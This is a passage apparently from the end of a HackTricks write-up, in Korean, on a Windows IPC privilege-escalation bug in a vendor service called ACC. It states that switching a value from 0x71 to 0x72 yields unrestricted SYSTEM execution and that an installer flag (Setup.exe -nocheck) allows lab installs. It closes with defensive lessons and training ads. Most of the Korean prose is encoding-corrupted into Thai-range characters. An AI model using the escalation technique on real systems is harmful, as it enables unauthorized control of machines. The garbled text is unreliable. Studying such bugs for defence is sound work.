  • 113 (0x71)์„ 114 (0x72)๋กœ ๋ฐ”๊พธ๋ฉด ์ „์ฒด SYSTEM ํ† ํฐ์„ ์œ ์ง€ํ•˜๊ณ  ๋†’์€ ๋ฌด๊ฒฐ์„ฑ SID(S-1-16-12288)๋ฅผ ์„ค์ •ํ•˜๋Š” ์ผ๋ฐ˜ ๋ถ„๊ธฐ๋กœ ๋–จ์–ด์ง‘๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ƒ์„ฑ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ๋กœ์ปฌ ๋ฐ ๊ต์ฐจ ๋จธ์‹  ๋ชจ๋‘์—์„œ ์ œ์•ฝ ์—†๋Š” SYSTEM์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • ์ด๋ฅผ ๋…ธ์ถœ๋œ ์„ค์น˜๊ธฐ ํ”Œ๋ž˜๊ทธ(Setup.exe -nocheck)์™€ ๊ฒฐํ•ฉํ•˜๋ฉด ๋žฉ VM์—์„œ๋„ ACC๋ฅผ ์„ค์น˜ํ•˜์—ฌ ๊ณต๊ธ‰์—…์ฒด ํ•˜๋“œ์›จ์–ด ์—†์ด ํŒŒ์ดํ”„๋ฅผ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ IPC ๋ฒ„๊ทธ๋Š” localhost ์„œ๋น„์Šค๊ฐ€ ์ƒํ˜ธ ์ธ์ฆ(ALPC SIDs, ImpersonationLevel=Impersonation ํ•„ํ„ฐ, ํ† ํฐ ํ•„ํ„ฐ๋ง)์„ ์‹œํ–‰ํ•ด์•ผ ํ•˜๋Š” ์ด์œ ์™€ ๋ชจ๋“  ๋ชจ๋“ˆ์˜ โ€œrun arbitrary binaryโ€ ํ—ฌํผ๊ฐ€ ๋™์ผํ•œ ์„œ๋ช…์ž ๊ฒ€์ฆ์„ ๊ณต์œ ํ•ด์•ผ ํ•˜๋Š” ์ด์œ ๋ฅผ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.


References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ